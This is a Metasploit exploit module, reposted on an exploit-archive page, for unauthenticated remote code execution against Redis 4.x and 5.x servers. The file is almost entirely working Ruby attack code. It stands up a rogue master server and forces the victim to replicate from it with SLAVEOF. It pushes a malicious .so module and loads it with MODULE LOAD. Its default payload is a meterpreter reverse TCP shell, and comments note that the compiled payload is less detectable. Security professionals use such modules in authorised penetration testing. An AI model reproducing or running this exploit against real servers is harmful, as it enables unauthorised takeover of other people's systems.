ExploitFixes
Redis 4.x / 5.x - Unauthenticated Code Execution (Metasploit) 2019-07-30 12:17:47

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking

include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Auxiliary::Redis

def initialize(info = {})
super(update_info(info,
'Name' => 'Redis Unauthenticated Code Execution',
'Description' => %q{
This module can be used to leverage the extension functionality added by Redis 4.x and 5.x
to execute arbitrary code. To transmit the given extension it makes use of the feature of Redis
which called replication between master and slave.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
],
'References' =>
[
[ 'URL', 'https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf'],
[ 'URL', 'https://github.com/RedisLabs/RedisModulesSDK']
],

'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Targets' =>
[
['Automatic', {} ],
],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'SRVPORT' => '6379'
},
'Privileged' => false,
'DisclosureDate' => 'Nov 13 2018',
'DefaultTarget' => 0,
'Notes' =>
{
'Stability' => [ SERVICE_RESOURCE_LOSS],
'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS, ]
},
))

register_options(
[
Opt::RPORT(6379),
OptBool.new('CUSTOM', [true, 'Whether compile payload file during exploiting', true])
]
)

register_advanced_options(
[
OptString.new('RedisModuleInit', [false, 'The command of module to load and unload. Random string as default.']),
OptString.new('RedisModuleTrigger', [false, 'The command of module to trigger the given function. Random string as default.']),
OptString.new('RedisModuleName', [false, 'The name of module to load at first. Random string as default.'])
]
)
deregister_options('URIPATH', 'THREADS', 'SSLCert')
end

#
# Now tested on redis 4.x and 5.x
#
def check
connect
# they are only vulnerable if we can run the CONFIG command, so try that
return Exploit::CheckCode::Safe unless (config_data = redis_command('CONFIG', 'GET', '*')) && config_data =~ /dbfilename/

if (info_data = redis_command('INFO')) && /redis_version:(?<redis_version>\S+)/ =~ info_data
report_redis(redis_version)
end

Exploit::CheckCode::Vulnerable
ensure
disconnect
end

def exploit
if check_custom
@module_init_name = datastore['RedisModuleInit'] || Rex::Text.rand_text_alpha_lower(4..8)
@module_cmd = datastore['RedisModuleTrigger'] || "#{@module_init_name}.#{Rex::Text.rand_text_alpha_lower(4..8)}"
else
@module_init_name = 'shell'
@module_cmd = 'shell.exec'
end

if srvhost == '0.0.0.0'
fail_with(Failure::BadConfig, 'Make sure SRVHOST not be 0.0.0.0, or the slave failed to find master.')
end

#
# Prepare for payload.
#
# 1. Use custcomed payload, it would compile a brand new file during running, which is more undetectable.
# It's only worked on linux system.
#
# 2. Use compiled payload, it's avaiable on all OS, however more detectable.
#
if check_custom
buf = create_payload
generate_code_file(buf)
compile_payload
end

connect

#
# Send the payload.
#
redis_command('SLAVEOF', srvhost, srvport.to_s)
redis_command('CONFIG', 'SET', 'dbfilename', "#{module_file}")
::IO.select(nil, nil, nil, 2.0)

# start the rogue server
start_rogue_server
# waiting for victim to receive the payload.
Rex.sleep(1)
redis_command('MODULE', 'LOAD', "./#{module_file}")
redis_command('SLAVEOF', 'NO', 'ONE')

# Trigger it.
print_status('Sending command to trigger payload.')
pull_the_trigger

# Clean up
Rex.sleep(2)
register_file_for_cleanup("./#{module_file}")
#redis_command('CONFIG', 'SET', 'dbfilename', 'dump.rdb')
#redis_command('MODULE', 'UNLOAD', "#{@module_init_name}")

ensure
disconnect
end

#
# We pretend to be a real redis server, and then slave the victim.
#
def start_rogue_server
socket = Rex::Socket::TcpServer.create({'LocalHost'=>srvhost,'LocalPort'=>srvport})
print_status("Listening on #{srvhost}:#{srvport}")
rsock = socket.accept()
vprint_status('Accepted a connection')

# Start negotiation
while true
request = rsock.read(1024)
vprint_status("in<<< #{request.inspect}")
response = ""
finish = false

case
when request.include?('PING')
response = "+PONG\r\n"
when request.include?('REPLCONF')
response = "+OK\r\n"
when request.include?('PSYNC') || request.include?('SYNC')
response = "+FULLRESYNC #{'Z'*40} 1\r\n"
response << "$#{payload_bin.length}\r\n"
response << "#{payload_bin}\r\n"
finish = true
end

if response.length < 200
vprint_status("out>>> #{response.inspect}")
else
vprint_status("out>>> #{response.inspect[0..100]}......#{response.inspect[-100..-1]}")
end

rsock.put(response)

if finish
print_status('Rogue server close...')
rsock.close()
socket.close()
break
end
end
end

def pull_the_trigger
if check_custom
redis_command("#{@module_cmd}")
else
execute_cmdstager
end
end

#
# Parpare command stager for the pre-compiled payload.
# And the command of module is hard-coded.
#
def execute_command(cmd, opts = {})
redis_command('shell.exec',"#{cmd.to_s}") rescue nil
end

#
# Generate source code file of payload to be compiled dynamicly.
#
def generate_code_file(buf)
template = File.read(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.erb'))
File.open(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.c'), 'wb') { |file| file.write(ERB.new(template).result(binding))}
end

def compile_payload
make_file = File.join(Msf::Config.data_directory, 'exploits', 'redis', 'Makefile')
vprint_status("Clean old files")
vprint_status(%x|make -C #{File.dirname(make_file)}/rmutil clean|)
vprint_status(%x|make -C #{File.dirname(make_file)} clean|)

print_status('Compile redis module extension file')
res = %x|make -C #{File.dirname(make_file)} -f #{make_file} && echo true|
if res.include? 'true'
print_good("Payload generated successfully! ")
else
print_error(res)
fail_with(Failure::BadConfig, 'Check config of gcc compiler.')
end
end

#
# check the environment for compile payload to so file.
#
def check_env
# check if linux
return false unless %x|uname -s 2>/dev/null|.include? "Linux"
# check if gcc installed
return false unless %x|command -v gcc && echo true|.include? "true"
# check if ld installed
return false unless %x|command -v ld && echo true|.include? "true"

true
end

def check_custom
return @custom_payload if @custom_payload

@custom_payload = false
@custom_payload = true if check_env && datastore['CUSTOM']

@custom_payload
end

def module_file
return @module_file if @module_file
@module_file = datastore['RedisModuleName'] || "#{Rex::Text.rand_text_alpha_lower(4..8)}.so"
end

def create_payload
p = payload.encoded
Msf::Simple::Buffer.transform(p, 'c', 'buf')
end

def payload_bin
return @payload_bin if @payload_bin
if check_custom
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'module.so'))
else
@payload_bin = File.binread(File.join(Msf::Config.data_directory, 'exploits', 'redis', 'exp', 'exp.so'))
end
@payload_bin
end
end